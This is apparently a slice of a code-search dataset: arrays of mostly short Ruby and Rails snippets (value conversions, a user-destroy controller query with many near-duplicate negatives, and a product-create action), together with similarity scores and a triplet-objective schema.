"def points_algorithm\n\tif current_user[:input] = \"Calories\"\n\tcurrent_user[:points] = (@daily_activity['goals']['steps'] * 0.1)\n\telsif current_user[:input] = \"Distance\"\n\tcurrent_user[:points] = (@daily_activity['goals']['distance'] * 10)\n\telsif current_user[:input] = \"Steps\"\n\tcurrent_user[:points] = (@daily_activity['goals']['caloriesOut'] * 0.1)\n\tend\n end",
"def adjust_infiltration_to_lower_pressure(initial_infiltration_rate_m3_per_s, intial_pressure_pa, final_pressure_pa, infiltration_coefficient = 0.65)\n\n adjusted_infiltration_rate_m3_per_s = initial_infiltration_rate_m3_per_s * (final_pressure_pa/intial_pressure_pa)**infiltration_coefficient\n\n return adjusted_infiltration_rate_m3_per_s\n\nend",
"def substitute (pivot_row_num, cancel_row_num, cancel_val)\n for i in 0..(((@rows[pivot_row_num]).length) - 1)\n @rows[cancel_row_num][i] = @rows[cancel_row_num][i] - (cancel_val)*(@rows[pivot_row_num][i])\n if @rows[cancel_row_num][i] == -0.0 then\n @rows[cancel_row_num][i] = 0.0\n end\n end\n num, den = cancel_val.to_fraction\n outp = \"\"\n if den == 1 then\n outp += \"#{num}\"\n else\n outp += \"#{num}/#{den}\"\n end\n if (cancel_val < 0) then\n puts \"R#{cancel_row_num + 1} -> R#{cancel_row_num + 1} - (#{outp})R#{pivot_row_num + 1}\"\n else\n puts \"R#{cancel_row_num + 1} -> R#{cancel_row_num + 1} - (#{outp})R#{pivot_row_num + 1}\"\n end\n end",
"def value\n @value.to_f\n end",
"def converttemp (f)\n return (f-32) * (5/9.0)\nend",
"def compute_change(current_value, previous_value)\n diff = current_value - previous_value\n change = nil\n if diff < -0.2\n change = -1\n elsif diff > 0.2\n change = 1\n else\n change = 0\n end\n\n return change\n end",
"def value\n (\n 0.7 * (annual_income / average_income) +\n 0.3 * (base_manpower / avearge_manpower)\n ).round(6)\n end",
"def metric_value(key, current_value, unit=\"\")\n value = current_value\n if @previous_values.has_key?(key)\n value = current_value - @previous_values[key]\n @previous_values[key] = current_value\n else\n @previous_values[key] = current_value\n value = 0\n end\n\n report_metric key, unit, value\n puts \"#{key} = #{value}\"\n\n value\n end",
"def correct_format_for_values\n self.value.to_i\n end",
"def value_from_units value, from_units = nil\n multiplier = if from_units.nil?\n if units.eql?('in')\n 1.0 / 72.0 # PDF units per inch\n else\n 25.4 * 1.0 / 72.0\n end\n elsif self.units.eql?(from_units)\n 1.0\n elsif self.units.eql?('in') && from_units.eql?('mm')\n (1.0 / 25.4)\n else\n 25.4\n end\n value.to_f * multiplier\n end",
"def calculate # create calculate function\n begin\n $meters.value = (0.3048*$feet*10000.0).round()/10000.0 # if number has been entered calculate meters from feet if\n rescue\n $meters.value = '' # if no number was entered print nothing\n end\nend",
"def do_pp_interpolation(value)\n case value\n when Array\n value.map {|v| do_pp_interpolation(v)}\n when Hash\n result = {}\n value.each_pair {|k,v| result[k] = do_pp_interpolation(v) }\n result\n when String\n call_function('tahu::eval', value)\n else\n value\n end\n end",
"def value\n value = number\n end",
"def recalc\n # Removes previous total and tax, then prompts user to enter new info\n total\n user_tax = get_input\n\n tax\n user_tax = get_input\n\n $user_totals.pop\n $user_totals = [user_input, user_tax]\n\n # Gets previous selected tip from cache and calculates correct percentage\n case $cached_tip\n when \"10\"\n percent_10\n when \"15\"\n percent_15\n when \"20\"\n percent_20\n else\n user_percent\n end\n\n end",
"def post_process_float( val )\n\t\t\treturn Float( val.to_s )\n\t\tend",
"def original\n original_amount\n end",
"def price_adjustment \n price_adjustment_fixed / 100.0 \n end",
"def missing_interpolation_argument_handler; end",
"def call\n clean_value = remove_commas\n PURE_NUMERIC_REGEX.match?(clean_value) ? clean_value : @original_value\n end",
"def get_u_value()\n total_conductivity = 0.0\n case self.get_keyword_value(\"TYPE\")\n when \"LAYERS\"\n self.get_materials().each do |material_command|\n case material_command.get_keyword_value(\"TYPE\")\n when \"RESISTANCE\"\n conductivity = 1 / material_command.get_keyword_value(\"RESISTANCE\").to_f\n when \"PROPERTIES\"\n conductivity = material_command.get_keyword_value(\"CONDUCTIVITY\").to_f\n else\n raise \"Error in material properties\"\n end\n total_conductivity = total_conductivity + conductivity\n end\n return total_conductivity\n when \"U-VALUE\"\n return self.get_keyword_value(\"U-VALUE\").to_f\n end\n end",
"def interpolate( v1, v2, periods, method )\n out = []\n fv1 = v1.to_f()\n fv2 = v2.to_f()\n fp = periods.to_f() # force us to use floating point everywhere\n case method\n when EXPONENTIAL then\n growth = Math.log( fv2 / fv1 ) / ( fp - 1 )\n periods.times{\n |p|\n out[p] = fv1*(( 1.0 + growth ) ** p )\n } \n out[periods-1] = v2;\n # fixme exacty growth interpolation\n when LINEAR then\n diff = ( fv2 - fv1 ) / ( fp - 1 )\n periods.times{\n |p|\n out[p] = v1 + (diff*p)\n }\n end\n return out\nend",
"def numeric_transformation(value)\n assert_type value, :Number, :value\n Sass::Script::Value::Number.new(\n yield(value.value), value.numerator_units, value.denominator_units)\n end",
"def getvalue_for_paint\n getvalue\n end",
"def value; super.to_f; end",
"def current_value\n @value\n end",
"def interpolate_scalar(nodes, data)\n #var all_special = new Array;\n\n # text inputs\n #var special = this.find('input[@type=text]');\n #special.val(data.toString());\n #all_special.concat(special);\n # textarea\n # TODO\n\n #this.not(special).empty();\n #this.not(special).append(data.toString());\n #alert(data);\n #empty(node)\n replace_content_with_text(nodes, data.to_s)\n end",
"def ctof temp2\n (temp2*1.8) + 32\nend",
"def getvalue_for_paint\n getvalue\n end",
"def legendary_value(options)\n (5.00/25.00)\n end",
"def expression_value\n return @expression_value if defined?(@expression_value)\n\n subexpr_value =\n (1 + periodic_interest_rate) ** total_number_of_payments\n @expression_value =\n (periodic_interest_rate * subexpr_value) / (subexpr_value - 1)\n end",
"def normalized\n @normalized ||= valid_range? ? range : normalized_range(range)\n rescue Exception => e \n # puts e.message\n value\n end",
"def total\n price - original_value\n end",
"def total\n price - original_value\n end",
"def text_value\n input[interval]\n end",
"def formatted_value\n @formatted_value\n end",
"def convert(temp_in_fahrenheit)\n (temp_in_fahrenheit.to_f - 32) * 5/9\nend",
"def change_rate\n return nil if @value_1.nil? || @value_2.nil?\n\n if @value_1 == 0\n if @value_2 > 0\n return 1\n elsif @value_2 < 0\n return -1\n else\n return 0\n end\n end\n\n (@value_2 - @value_1) / @value_1.to_f\n end",
"def test_interpolate\n xvals = [10, 30]\n yvals = [25, 35]\n\n assert_in_delta 43.5, Utils.interpolate(xvals, yvals, 47), 0.01\n assert_in_delta 26.5, Utils.interpolate(xvals, yvals, 13), 0.01\n assert_in_delta 70, Utils.interpolate(xvals, yvals, 100), 0.01\n end",
"def quantized_result\n @output_values.map { |output| output.round.to_i }\n end",
"def process_xstr(exp)\n str = exp.shift\n @model.interpolate(str)\n end",
"def assessed_value\n buyer_input = @contract_cost * @contract_length_years.to_f\n return buyer_input if buyer_input != 0.0 && @sum_uom == 0.0 && @sum_benchmark == 0.0\n\n return (@sum_uom + @sum_benchmark + buyer_input) / 3 unless buyer_input.zero?\n\n (@sum_uom + @sum_benchmark) / 2\n end",
"def assessed_value\n buyer_input = @contract_cost * @contract_length_years.to_f\n return buyer_input if buyer_input != 0.0 && @sum_uom == 0.0 && @sum_benchmark == 0.0\n\n return (@sum_uom + @sum_benchmark + buyer_input) / 3 unless buyer_input.zero?\n\n (@sum_uom + @sum_benchmark) / 2\n end",
"def reciprocal\n\t\tresult = 1/@input\n\n\t render json: result, status: 200\n\trescue\n\t\trender json: {\"message\": 'Use the format: {\"input\": num}'}, status: 400\n\tend",
"def interpolate( dindex )\n vs = self.interpolators.map {|inter| inter.interpolate( dindex )}\n if self.interpoldomain == :rgb\n return Color[ *vs ]\n elsif self.interpoldomain == :hsv\n return Color.hsva( *vs )\n else\n return Color.hsla( *vs )\n end\n end",
"def getvalue(str)\r\n value = 0\r\n if str\r\n if str.index('.mm')\r\n value = str.gsub('.mm','').to_f / 25.4 # to_l does not get it right when drawing is metric\r\n #puts \"mm to inch #{value}\"\r\n else\r\n if str.index('.inch')\r\n value = str.gsub('.inch','').to_f\r\n else\r\n if str == 'true'\r\n value = 1\r\n else\r\n if str == 'false'\r\n value = 0\r\n else\r\n value = str.to_f\r\n end\r\n end\r\n end\r\n end\r\n end\r\n return value\r\n end",
"def update_input(input, value)\n if value.nil?\n user_values.delete(input.key)\n else\n user_values[input.key] = value\n end\n\n value\n end",
"def normalized\n @value\n end",
"def convert_temp(value,unit)\n if unit.chomp == \"f\"\n puts \"fahrenheit: #{value}\"\n puts \"to Celcius: #{((value.to_i - 32) / 1.8).round(2)}\"\n puts \"to Kelvin: #{((value.to_i + 459.67) / 1.8).round(2)}\"\n elsif unit.chomp == \"C\"\n puts \"Celcius: #{value}\"\n puts \"to fahrenheit: #{(value.to_i * 1.8 + 32).round(2)}\"\n puts \"to Kelvin: #{(value.to_i + 273.15).round(2)}\"\n else\n puts \"Kelvin: #{value}\"\n puts \"to fahrenheit: #{(value.to_i * 1.8 - 459.67).round(2)}\"\n puts \"to Celcius: #{(value.to_i - 273.15).round(2)}\"\n end\nend",
"def value_at x\n return (x * (-$triangle_r_slop)) + $triangle_height\nend",
"def format_int_or_float(final_value)\n final_value == final_value.to_i ? final_value.to_i : final_value\n end",
"def eth_value\n return eth_portfolio * eth_price\n end",
"def tip_calculator\n puts \"What is the bill?\"\n bill = gets.to_f\n puts \"What is the tip percentage?\"\n tip_pct = gets.to_f\n\n tip = bill * tip_pct/100\n total_bill = bill + tip\n\n puts \"The tip is $\" + format(\"%2.2f\", tip)\n puts \"The total is $\" + format(\"%2.2f\", total_bill)\nend",
"def update(sample)\n now = Time.new\n elapsed = now - @time\n @sum += sample\n if elapsed > 1.0\n @value = newValue elapsed, @sum/elapsed\n @time = now\n @sum = 0.0\n end\n end",
"def to_rep(val)\n val.to_f\n end",
"def integral\n return Signal.new(:sample_rate => @sample_rate, :data => Calculus.integral(@data))\n end",
"def substitution(value1,value2,value3)\n case value1\n when Var\n return value3\n when Abs\n return construct_abs(value3)\n when Neg\n return construct_neg(value3)\n when Plus\n case get_first(value1)\n when Var\n return construct_plus(value3,get_second(value1))\n else\n return construct_plus(get_first(value1),value3)\n end\n when Minus\n case get_first(value1)\n when Var\n return construct_minus(value3,get_second(value1))\n else\n return construct_minus(get_first(value1),value3)\n end\n when Times\n case get_first(value1)\n when Var\n return construct_times(value3,get_second(value1))\n else\n return construct_times(get_first(value1),value3)\n end\n when Exp\n case get_first(value1)\n when Var\n return construct_exp(value3,get_second(value1))\n else\n return construct_exp(get_first(value1),value3)\n end\n when Subst\n substitution(substitution(get_first(value1),get_second(value1),get_third(value1)),value2,value3)\n end\n\nend",
"def celcius_calculation(fahrenheit_input) #Celcius calculation\n ((fahrenheit_input.to_f - 32) * 5) / 9\nend",
"def typical_input\n fetch(:typical_input) { input_capacity * capacity_to_demand_multiplier * full_load_hours }\n end"
] |
[
"0.5457691",
"0.5402587",
"0.5399055",
"0.5345718",
"0.5322939",
"0.5307462",
"0.52730906",
"0.5248776",
"0.52367425",
"0.5236653",
"0.52281356",
"0.5223321",
"0.521307",
"0.51618254",
"0.51554567",
"0.5151672",
"0.51174605",
"0.50771004",
"0.5070582",
"0.50676274",
"0.5035416",
"0.50314546",
"0.5023791",
"0.50190425",
"0.5018093",
"0.50159615",
"0.5015",
"0.5011097",
"0.50043964",
"0.4985138",
"0.4978655",
"0.49740013",
"0.4950736",
"0.49388722",
"0.4938518",
"0.4928488",
"0.4928488",
"0.49269557",
"0.49140492",
"0.49080634",
"0.49058524",
"0.48867962",
"0.48609167",
"0.48606354",
"0.48588523",
"0.48552525",
"0.48457673",
"0.4820019",
"0.48156",
"0.48089665",
"0.48076165",
"0.48050871",
"0.4797436",
"0.47974175",
"0.47914216",
"0.47897473",
"0.47883308",
"0.47867027",
"0.47865045",
"0.47832933",
"0.47790414",
"0.4775444",
"0.47747457",
"0.47738993",
"0.47700548",
"0.47693706",
"0.47678053",
"0.47636196",
"0.47601548",
"0.47557765",
"0.47539368",
"0.47513425",
"0.47487092",
"0.47424644",
"0.47424644",
"0.47421297",
"0.4730236",
"0.47285575",
"0.47277123",
"0.4722019",
"0.4718033",
"0.4715483",
"0.47106278",
"0.47106278",
"0.4707514",
"0.47072643",
"0.47044122",
"0.47008145",
"0.46967566",
"0.4694051",
"0.46918124",
"0.46866807",
"0.46778095",
"0.4676563",
"0.46760297",
"0.46760294",
"0.46679372",
"0.46641576",
"0.46611202",
"0.4659273"
] |
0.7015107
|
0
|
def destroy User.find(params[:id]).destroy flash[:success]="User destroyed" redirect_to users_path end
|
def signed_in_user
unless signed_in?
store_location
redirect_to signin_path, notice: "Please sign in."
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted :(\"\n redirect_to users_url\n end",
"def destroy\n User.find_by(id: params[:id]).destroy\n flash.now[:succes] = \"User was succesfully deleted\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User was successfully deleted\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted successfully.\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User destroyed.\"\n redirect_to users_path\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"Utilisateur supprimé.\"\n redirect_to users_path\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted\"\n redirect_to root_url\n end",
"def destroy\n User.find(params[:id]).destroy\n\n flash[:success] = 'User destroyed.'\n redirect_to users_path\n end",
"def destroy\n @user = User.find(params[:id])\n if @user.destroy\n flash[:notice] = \"User was deleted\"\n else \n flash[:alert] = \"error\"\n end\n redirect_to users_path\n end",
"def destroy\n User.find(params[:id]).destroy\n\n flash[:success] = \"User destroyed.\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n redirect_to users_url, notice: 'User was successfully destroyed.'\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted.\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted.\"\n redirect_to users_url\n end",
"def destroy\n user = User.find(params[:id])\n user.destroy\n flash[:error] = \"Delete User #{user.userName}\"\n redirect_to '/users'\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted.\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted.\"\n redirect_to users_path\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"Пользователь удален\"\n redirect_to users_path\n end",
"def destroy\n \tUser.find(params[:id]).destroy\n \tflash[:success] = \"User deleted\"\n \tredirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User deleted.\"\n redirect_to root_path\n end",
"def destroy\n\tUser.find(params[:id]).destroy\n\tflash[:success] = \"User destroyed.\"\n\tredirect_to users_path\n end",
"def destroy\n # @user.destroy\n # flash[:success] = \"User Deleted\"\n redirect_to users_url\n end",
"def destroy\n @user = User.find(params[:id]).destroy\n flash[:success] = \"User deleted!\"\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'User was successfully destroyed.' }\n end\n end",
"def destroy\n\n @user.destroy\n flash[:danger]=\"User deleted successfully!!\" \n redirect_to users_path(@user)\n end",
"def destroy\n@user = User.find(params[:id])\n @user.destroy\nflash[:notice] = \"账号删除成功\"\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n user = User.find(params[:id])\n user.destroy\n redirect_to users_path, :notice => \"User deleted.\"\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n flash[:notice] = \"Successfully destroyed record for #{@user.first_name} #{@user.surname}.\"\n redirect_to :back || root_url\n end",
"def destroy\n user = User.find(params[:id])\n\tuser.destroy\n\tflash[:success] = \"User #{user.name} was deleted\"\n\tredirect_to users_url\n end",
"def destroy\n @user = User.find(params[:id]).destroy\n redirect_to users_path\n end",
"def destroy\n user = User.find(params[:id])\n user.destroy\n redirect_to root_path, status: 303\n \n end",
"def destroy\n @user = User.find(params[:id])\n\n if @user.destroy\n flash[:notice] = \"User was deleted\"\n else\n flash[:alert] = \"User could not be deleted\"\n end\n\n redirect_to users_path\n end",
"def destroy\n user = User.find(params[:id])\n user.destroy\n flash[:delete] = \"We hate to see you go! Cycle safe!\"\n redirect_to root_path\n end",
"def destroy\n\tif User.find(params[:id]).destroy\n\t\tflash[:success] = \"User deleted.\"\n\telse\n\t\tflash[:error] = \"There was a problem deleting this user.\"\n\tend\n redirect_to users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n redirect_to users_path\n end",
"def destroy\n @user = User.find(params[:id])\n if @user.destroy\n flash[:success] = \"User has been deleted!\"\n redirect_to users_url\n end\n end",
"def destroy\n @user.destroy\n flash[:success] = \"User destroyed.\"\n redirect_to users_url\n end",
"def destroy\n @user.destroy\n flash[:success] = \"Chief removido com sucesso!\"\n redirect_to users_url\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n flash.keep[:success] = 'User was successfully destroyed.'\n flash.keep[:warn] = 'You will not be able to login using the deleted account'\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n redirect_to users_path, :notice => 'User was successfully deleted.'\n end",
"def destroy\n @user = User.find(params[:id])\n\n begin\n @user.destroy\n flash[:notice]=\"User #{@user.username} deleted!\"\n rescue Exception=>e\n flash[:notice]=e.message\n end\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n \tuser = User.find params[:id]\n \tuser.destroy\n\n \tredirect_to users_path, status: 303\n end",
"def destroy\n @user = User.find(params[:id])\n @user.delete\n flash[:notice] = t('users.destroyed')\n redirect_to admin_users_url\n end",
"def destroy\n User.find(params[:id]).destroy\n redirect_to users_path\n end",
"def destroy\n @user = User.find params[:id]\n @user.destroy\n redirect_to users_path\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n \n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n redirect_to users_path\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n redirect_to users_path\n end",
"def destroy\n @user = User.find(params[:id])\n authorize_action_for(@user)\n @user.destroy\n flash[:success] = I18n.t('controllers.users.flash.destroy.success', name: @user.name)\n redirect_to users_path\n end",
"def destroy\n \t @user = User.find params[:id]\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n if @user.destroy\n flash[:notice] = \"Destroyed succesfully\"\n redirect_to 'http://localhost:3000/utotal/index'\n end\n end",
"def destroy\n \tUsersService.destroyUser(params[:id],current_user)\n \tredirect_to users_path, notice: \"Successfully Destroy User!!!.\"\n end",
"def destroy\n @user = User.find(params[:id])\n if @user.destroy\n flash[:notice] = \"User was destroyed.\"\n else\n flash[:notice] = \"There was a problem destroying the user.\"\n end\n redirect_to user_index_path\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n redirect_to(users_url)\n end",
"def destroy\n @user=User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n\n end\n end",
"def destroy\n @user = User.find_by_id(params[:id])\n @user.destroy\n render :json=>{:status =>t('users.destroy.success')}\n end",
"def destroy\n @user = User.find_by_id(params[:id])\n @user.destroy\n render :json=>{:status =>t('users.destroy.success')}\n end",
"def destroy\n @user.destroy\n redirect_to users_path, notice: (I18n.t :act_delete)\n end",
"def destroy\n User.find(params[:id]).destroy\n flash[:success] = \"User destroyed.\"\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find_by_uuid(params[:id])\n if @user.destroy\n flash[:success] = t('messages.default_success')\n else\n flash[:error] = t('messages.default_error')\n end\n redirect_to users_path\n end",
"def destroy\n user = User.find(params[:id])\n user.destroy\n redirect_to users_path\n end",
"def destroy\n User.destroy params[:id]\n\n redirect_to users_path\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy \n redirect_to root_url \n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n end\n end",
"def destroy\n authorize! :delete, User\n @user = User.find(params[:id])\n flash[:notice_param] = @user.user_name\n @user.destroy\n respond_to do |format|\n flash[:notice] = :user_deleted\n format.html { redirect_to users_url(:use_session => true) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:user])\n @user.destroy\n redirect_to users_path\n end",
"def destroy\n\t\tUser.find(params[:id]).destroy\n\t\tflash[:success] = \"User deleted\"\n\t\tredirect_to users_url\n\tend",
"def destroy\n @user = User.find(params[:id]).destroy\n # @user.destroy\n redirect_to root_path\n end",
"def destroy\n @user = User.find_by(params[:id])\n @user.destroy\n redirect_to action: \"index\"\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n redirect_to action: 'index'\n end",
"def destroy\n @user = User.find(params[:id])\n if @user.destroy\n flash[:notice] = \"Artigo apagado\"\t\t\t\n else\t\t\t\t\t\t\t\t\t\t\t\n flash[:error] = \"Houve um problema ao apagar o artigo\"\t\n end\t\t\t\t\t\t\t\t\t\t\t\t\n redirect_to users_path\n end",
"def destroy\n User.find(params[:id]).destroy\n respond_to do |format|\n flash[:success] = \"User was successfully deleted.\"\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t @user = User.find(params[:id])\n\t @user.destroy\n\t redirect_to '/users'\n\tend",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'ユーザーを削除しました' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.deleted = true\n if @user.save\n redirect_to(users_path, :alert => 'User deleted successfully.')\n end\n end",
"def destroy\n @user = User.find(params[:id])\n begin\n @user.destroy\n session[:user_id] = nil\n #redirect_to (logout_path, :method => :delete) and return\n flash[:notice]=\"User #{@user.name} deleted\"\n rescue Exception =>e\n flash[:notice]=e.message\n end\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.shod(params[:id])\n authorize! :delete, @user\n @user.destroy\n flash[:user_delete] = t('user_delete')\n redirect_to users_path\n end",
"def destroy\n if current_user == User.find(params[:id])\n redirect_to root_path\n else\n User.find(params[:id]).destroy\n flash[:success] = \"User destroyed.\"\n redirect_to users_path\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'User successfully deleted' }\n format.json { head :no_content }\n end\n end",
"def destroy\n # finds user with id of params[:id]\n @user = User.find params[:id]\n\n # destroys the user\n @user.destroy\n\n # redirects to index action\n redirect_to users_path\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n flash[:success] = \"Successfully delete!\"\n format.html { redirect_to users_url}\n format.json { head :no_content }\n end\n end",
"def destroy\n \n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'Usuario eliminado correctamente' }\n format.json { head :no_content }\n end\n \n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n redirect_to(root_path)\n end",
"def destroy\n user=User.find(params[:id])\n if current_user?(user)\n flash[:error] = \"Admin user can't do suicide\"\n else\n user.destroy\n flash[:success] = \"User destroyed\"\n end\n \n respond_to do |format|\n format.html { redirect_to users_url(:page=>session[:idx_last_page]) }\n format.json { head :ok }\n end\n\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy \n @usuario = Usuario.find(params[:id]).destroy\n flash[:success] = \"Usuario Eliminado\"\n redirect_to usuarios_url\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n flash[:notice] = \"Account has been deleted successfully\"\n\n respond_to do |format|\n format.html { redirect_to(users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n if @user.id == current_user.id\n redirect_to users_url, notice: 'This user cant be deleted.'\n else\n @user.destroy\n flash[:notice] = 'User was successfully deleted.'\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @user = User.find_by_id(params[:id])\n @user.destroy\n end",
"def destroy\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.destroy\n format.html { flash[:success] = I18n.t('human.text.success.delete_user'); redirect_to users_url}\n format.json { head :no_content }\n else\n format.html { flash[:error] = I18n.t('human.text.errors.delete_user'); redirect_to users_url}\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n user = User.find(params[:id])\n if user != current_user\n user.destroy\n flash[:success] = \"User destroyed.\"\n else\n flash[:alert] = \"You cannot destroy yourself!\"\n end\n respond_to do |format|\n format.html { redirect_to users_path }\n format.xml { render :nothing => true }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n end"
] |
[
"0.9574851",
"0.9496986",
"0.94106025",
"0.9393822",
"0.93867934",
"0.93867934",
"0.93867934",
"0.93867934",
"0.93743587",
"0.93654495",
"0.93589276",
"0.9351379",
"0.93324345",
"0.9327146",
"0.9327131",
"0.9324323",
"0.9324323",
"0.93209183",
"0.93204254",
"0.9318777",
"0.9310043",
"0.9293697",
"0.92772675",
"0.9268164",
"0.9265252",
"0.9260763",
"0.92157173",
"0.9208453",
"0.9157402",
"0.9117609",
"0.9116389",
"0.91124976",
"0.910234",
"0.9099372",
"0.9085431",
"0.9083438",
"0.9078753",
"0.907403",
"0.90695983",
"0.9069281",
"0.90627056",
"0.90619516",
"0.90615314",
"0.90604144",
"0.9057113",
"0.9056443",
"0.90564126",
"0.90485746",
"0.9023867",
"0.90150535",
"0.90150535",
"0.9014529",
"0.90140224",
"0.9012735",
"0.9004995",
"0.9003844",
"0.89965886",
"0.8969658",
"0.8969349",
"0.8969321",
"0.8969321",
"0.89652306",
"0.8962924",
"0.8955676",
"0.89540994",
"0.89501494",
"0.89475715",
"0.8944628",
"0.8944628",
"0.89405364",
"0.89350957",
"0.89312327",
"0.8927463",
"0.8912459",
"0.89094406",
"0.89083254",
"0.8899691",
"0.889888",
"0.88961476",
"0.8895033",
"0.8887295",
"0.8886519",
"0.8874071",
"0.8866716",
"0.88567054",
"0.8841062",
"0.8838579",
"0.88381594",
"0.8831484",
"0.882948",
"0.88241506",
"0.88222164",
"0.88164306",
"0.8799079",
"0.87987596",
"0.8798696",
"0.879863",
"0.8796024",
"0.8796024",
"0.8796024",
"0.8796024"
] |
0.0
|
-1
|
creating the new product
|
def create
product = Product.new(product_params)
product.save ? (redirect_to products_path, flash: {notice: 'Product created successfully'}) : (redirect_to new_product_path, flash: {error: 'product.errors.full_messages.to_sentence'})
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n data = self.class.create_product(self)\n self.id = data.id\n data\n end",
"def add_new_product\n aProduct = Product.new(@product_title, @product_price, @customer_id)\n aProduct.create_new_product\n end",
"def create_full_product\n generate_product_name\n generate_product_code\n generate_product_manufacturer\n generate_product_description\n generate_product_price\n end",
"def create_product()\n # check for existing slug\n slug = @product_row[:name]\n if(Spree::Product.where(\"slug=?\", slug).length > 0)\n @errors << { :part_number => @product_row[:name], :condition => @product_row[:condition], :message => \"Found duplicate slug (url) for \" + slug }\n end\n\n # Get description\n description = @product_row[:description]\n # Get with from w/\n if @product_row[:description].downcase.include? \"w/o\"\n description = @product_row[:description].gsub(/w\\/o/i,\"without \")\n description.strip!\n elsif @product_row[:description].downcase.include? \"w/\"\n description = @product_row[:description].gsub(/w\\//i,\"with \")\n description.strip!\n end\n new_product = Spree::Product.create :name => @product_row[:name],\n :description => description,\n :meta_keywords => @product_row[:meta_keywords],\n :available_on => DateTime.new(2015,1,1),\n :slug => slug,\n :tax_category_id => @@auto_tax_category_id,\n :shipping_category_id => @@shipping_category_id,\n :promotionable => true,\n :price => @product_row[:price], # Defines master price\n :notes => @product_row[:notes]\n end",
